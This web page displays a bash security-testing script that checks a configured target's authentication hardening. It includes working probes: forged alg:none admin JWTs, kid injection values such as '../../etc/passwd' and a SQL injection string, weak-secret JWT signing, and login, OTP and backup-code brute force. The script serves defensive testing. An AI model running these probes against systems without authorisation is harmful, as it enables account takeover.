AUTONOMY DIRECTORATE

๐Ÿ  Main

๐Ÿงช Interactive Apps

๐Ÿ“ฐ News

๐Ÿ›ก๏ธ PQ Crypta Proxy

๐Ÿ‘ค Account

โŸจ QUANTUM ERROR PORTAL โŸฉ

Navigate the Error Dimensions

PQ Crypta Logo

Script Viewer

Red Team Suite › 19_auth_hardening.sh

19_auth_hardening.sh 181 lines
1 #!/bin/bash
2 # Authentication & Identity Hardening
3 # Tests JWT abuse, session entropy, cookie security flags, credential hygiene
4 SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
5 source "$SCRIPT_DIR/../config.sh"
6 OUT="$OUT/auth_hardening"
7 mkdir -p "$OUT"
8
9 echo '=== AUTHENTICATION & IDENTITY HARDENING ===' | tee "$OUT/summary.txt"
10
11 url_encode() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; }
12 BROWSER="$BROWSER_UA"
13
14 # โ”€โ”€ 1. Session Cookie Security Flags โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
15 echo '' | tee -a "$OUT/summary.txt"
16 echo '--- Session Cookie Security Flags ---' | tee -a "$OUT/summary.txt"
17 cookie_hdr=$(curl -sk -I --max-time 10 -A "$BROWSER" "$TARGET/" | grep -i 'set-cookie')
18 if [ -n "$cookie_hdr" ]; then
19 echo "$cookie_hdr" | tee -a "$OUT/summary.txt"
20 echo "$cookie_hdr" | grep -qi 'httponly' && echo " [PASS] HttpOnly present" || echo " [WARN] HttpOnly MISSING" | tee -a "$OUT/summary.txt"
21 echo "$cookie_hdr" | grep -qi 'secure' && echo " [PASS] Secure present" || echo " [WARN] Secure MISSING" | tee -a "$OUT/summary.txt"
22 echo "$cookie_hdr" | grep -qi 'samesite' && echo " [PASS] SameSite present" || echo " [WARN] SameSite MISSING" | tee -a "$OUT/summary.txt"
23 echo "$cookie_hdr" | grep -qi '__Secure-\|__Host-' && echo " [PASS] Cookie prefix hardened" || echo " [INFO] No __Secure-/__Host- prefix" | tee -a "$OUT/summary.txt"
24 else
25 echo " [INFO] No Set-Cookie header on homepage" | tee -a "$OUT/summary.txt"
26 fi
27
28 # โ”€โ”€ 2. JWT Algorithm Confusion (alg:none) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
29 echo '' | tee -a "$OUT/summary.txt"
30 echo '--- JWT Algorithm Confusion ---' | tee -a "$OUT/summary.txt"
31 # Craft a token with alg:none and arbitrary claims
32 NONE_HDR=$(printf '{"alg":"none","typ":"JWT"}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
33 CLAIMS=$(printf '{"sub":"admin","role":"admin","iat":1700000000,"exp":9999999999}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
34 NONE_TOKEN="${NONE_HDR}.${CLAIMS}."
35 for ep in "/encrypt" "/decrypt" "/keys/generate" "/admin" "/users" "/config"; do
36 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
37 -H "Authorization: Bearer $NONE_TOKEN" "$API_TARGET$ep")
38 [ "$resp" = "200" ] && echo " [!!!] JWT alg:none ACCEPTED on $ep" || echo " [PASS] $ep โ†’ $resp (rejected)" | tee -a "$OUT/summary.txt"
39 done
40
41 # โ”€โ”€ 3. JWT kid Header Injection โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
42 echo '' | tee -a "$OUT/summary.txt"
43 echo '--- JWT kid Header Injection ---' | tee -a "$OUT/summary.txt"
44 for kid_val in "../../etc/passwd" "' OR 1=1--" "/dev/null" "../../../../dev/null"; do
45 KID_HDR=$(printf "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$kid_val\"}" | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())")
46 KID_TOKEN="${KID_HDR}.${CLAIMS}.fakesig"
47 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
48 -H "Authorization: Bearer $KID_TOKEN" "$API_TARGET/encrypt")
49 [ "$resp" = "200" ] && echo " [!!!] kid injection ACCEPTED: $kid_val" || echo " [PASS] kid='$kid_val' โ†’ $resp" | tee -a "$OUT/summary.txt"
50 done
51
52 # โ”€โ”€ 4. Weak JWT Secret Brute Force (common secrets) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
53 echo '' | tee -a "$OUT/summary.txt"
54 echo '--- JWT Weak Secret Check ---' | tee -a "$OUT/summary.txt"
55 WEAK_SECRETS=("secret" "password" "123456" "jwt_secret" "changeme" "supersecret" "qwerty")
56 WEAK_CLAIMS=$(printf '{"sub":"1","role":"user","exp":9999999999}')
57 for secret in "${WEAK_SECRETS[@]}"; do
58 token=$(python3 -c "
59 import hmac, hashlib, base64, json
60 h = base64.urlsafe_b64encode(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}').rstrip(b'=').decode()
61 p = base64.urlsafe_b64encode(b'{\"sub\":\"1\",\"role\":\"user\",\"exp\":9999999999}').rstrip(b'=').decode()
62 sig = hmac.new('$secret'.encode(), f'{h}.{p}'.encode(), hashlib.sha256).digest()
63 s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode()
64 print(f'{h}.{p}.{s}')
65 " 2>/dev/null)
66 [ -n "$token" ] && {
67 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
68 -H "Authorization: Bearer $token" "$API_TARGET/encrypt")
69 [ "$resp" = "200" ] && echo " [!!!] WEAK SECRET '$secret' ACCEPTED" || echo " [PASS] secret='$secret' โ†’ $resp" | tee -a "$OUT/summary.txt"
70 }
71 done
72
73 # โ”€โ”€ 5. Credential in URL / Referer Leakage โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
74 echo '' | tee -a "$OUT/summary.txt"
75 echo '--- Credential in URL ---' | tee -a "$OUT/summary.txt"
76 resp=$(curl -sk -o "$OUT/cred_url.txt" -w '%{http_code}' --max-time 8 -A "$BROWSER" \
77 "$API_TARGET/encrypt?api_key=test_key_12345&password=supersecret")
78 # Only flag reflection if the server returns 2xx AND echoes the credential back
79 if [ "$resp" = "200" ] || [ "$resp" = "201" ]; then
80 grep -qi 'test_key_12345\|supersecret' "$OUT/cred_url.txt" && \
81 echo " [WARN] Credentials in URL reflected in response" | tee -a "$OUT/summary.txt" || \
82 echo " [PASS] Credentials in URL not reflected ($resp)" | tee -a "$OUT/summary.txt"
83 else
84 echo " [PASS] Request rejected ($resp) โ€” no credential reflection risk" | tee -a "$OUT/summary.txt"
85 fi
86
87 # โ”€โ”€ 6. Password Policy โ€” Login Brute Force Without Lockout โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
88 echo '' | tee -a "$OUT/summary.txt"
89 echo '--- Login Brute Force (10 attempts, expect lockout or 401) ---' | tee -a "$OUT/summary.txt"
90 lock=0; endpoint_exists=0
91 for i in $(seq 1 10); do
92 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER" \
93 -X POST -H 'Content-Type: application/json' \
94 -d "{\"username\":\"admin\",\"password\":\"wrong$i\"}" \
95 "$API_TARGET/auth/login" 2>/dev/null)
96 # 200/302 means a real login endpoint exists
97 [ "$resp" = "200" ] || [ "$resp" = "302" ] && endpoint_exists=1
98 [ "$resp" = "429" ] || [ "$resp" = "423" ] || [ "$resp" = "403" ] && { lock=1; echo " [PASS] Lockout triggered at attempt $i ($resp)" | tee -a "$OUT/summary.txt"; break; }
99 done
100 if [ "$lock" -eq 0 ]; then
101 if [ "$endpoint_exists" -eq 0 ]; then
102 echo " [PASS] /auth/login properly rejects bad credentials (last: $resp) โ€” no lockout bypass" | tee -a "$OUT/summary.txt"
103 else
104 echo " [WARN] No lockout after 10 failed attempts (last: $resp)" | tee -a "$OUT/summary.txt"
105 fi
106 fi
107
108 # โ”€โ”€ 7. Refresh Token Replay โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
109 echo '' | tee -a "$OUT/summary.txt"
110 echo '--- Refresh Token Replay ---' | tee -a "$OUT/summary.txt"
111 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
112 -X POST -H 'Content-Type: application/json' \
113 -d '{"refresh_token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.fakesig"}' \
114 "$API_TARGET/auth/refresh")
115 [ "$resp" = "200" ] && echo " [!!!] Fake refresh token ACCEPTED" || echo " [PASS] Fake refresh token rejected ($resp)" | tee -a "$OUT/summary.txt"
116
117 # โ”€โ”€ 8. HTTP Auth Header Enumeration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
118 echo '' | tee -a "$OUT/summary.txt"
119 echo '--- Auth Scheme Enumeration ---' | tee -a "$OUT/summary.txt"
120 for scheme in "Basic YWRtaW46YWRtaW4=" "Bearer null" "Bearer undefined" "Bearer 0" "Token admin"; do
121 resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \
122 -H "Authorization: $scheme" "$API_TARGET/encrypt")
123 echo " [$resp] Authorization: $scheme" | tee -a "$OUT/summary.txt"
124 done
125
126 # โ”€โ”€ 2FA / MFA Bypass โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
127 OUT_FILE="$OUT/19_auth_hardening.txt"
128 echo "" | tee -a "$OUT_FILE"
129 echo "--- 2FA / MFA Bypass ---" | tee -a "$OUT_FILE"
130
131 # OTP brute force โ€” try common 6-digit codes (000000, 123456, 000001)
132 echo " OTP brute force (sample codes):" | tee -a "$OUT_FILE"
133 for OTP in 000000 123456 000001 111111 999999 123123 654321; do
134 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
135 -A "$BROWSER_UA" -X POST \
136 -H 'Content-Type: application/x-www-form-urlencoded' \
137 -d "otp=$OTP&username=admin" \
138 "$TARGET/admin/2fa" 2>/dev/null || \
139 curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
140 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
141 -d "{\"otp\":\"$OTP\",\"username\":\"admin\"}" \
142 "$API_TARGET/auth/verify-otp" 2>/dev/null)
143 printf ' [%s] OTP brute force: %s\n' "$CODE" "$OTP" | tee -a "$OUT_FILE"
144 done
145
146 # OTP replay โ€” submit same code twice
147 OTP_REPLAY="123456"
148 CODE1=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
149 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
150 -d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp")
151 CODE2=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
152 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
153 -d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp")
154 printf ' [%sโ†’%s] OTP replay (same code submitted twice โ€” both should fail)\n' "$CODE1" "$CODE2" | tee -a "$OUT_FILE"
155
156 # Backup code enumeration
157 echo " Backup code enumeration:" | tee -a "$OUT_FILE"
158 for BACKUP in "00000000" "12345678" "AAAAAAAA" "backup1" "recovery1"; do
159 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
160 -A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \
161 -d "{\"backup_code\":\"$BACKUP\",\"username\":\"admin\"}" \
162 "$API_TARGET/auth/backup-code" 2>/dev/null || echo "404")
163 printf ' [%s] Backup code: %s\n' "$CODE" "$BACKUP" | tee -a "$OUT_FILE"
164 done
165
166 # MFA skip โ€” try to access protected resource with only step-1 auth token
167 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \
168 -A "$BROWSER_UA" \
169 -H 'Authorization: Bearer PARTIAL_AUTH_STEP1_TOKEN' \
170 "$API_TARGET/encrypt")
171 printf ' [%s] MFA skip โ€” step-1 token on protected endpoint (should be 401)\n' "$CODE" | tee -a "$OUT_FILE"
172
173 # 2FA endpoint enumeration
174 echo " 2FA endpoint discovery:" | tee -a "$OUT_FILE"
175 for EP in /2fa /mfa /verify /otp /totp /auth/verify /auth/otp /auth/mfa /auth/totp /api/auth/verify; do
176 CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$TARGET$EP")
177 [ "$CODE" != "404" ] && [ "$CODE" != "000" ] && \
178 printf ' [%s] %s\n' "$CODE" "$EP" | tee -a "$OUT_FILE"
179 done
180 echo "" | tee -a "$OUT_FILE"
181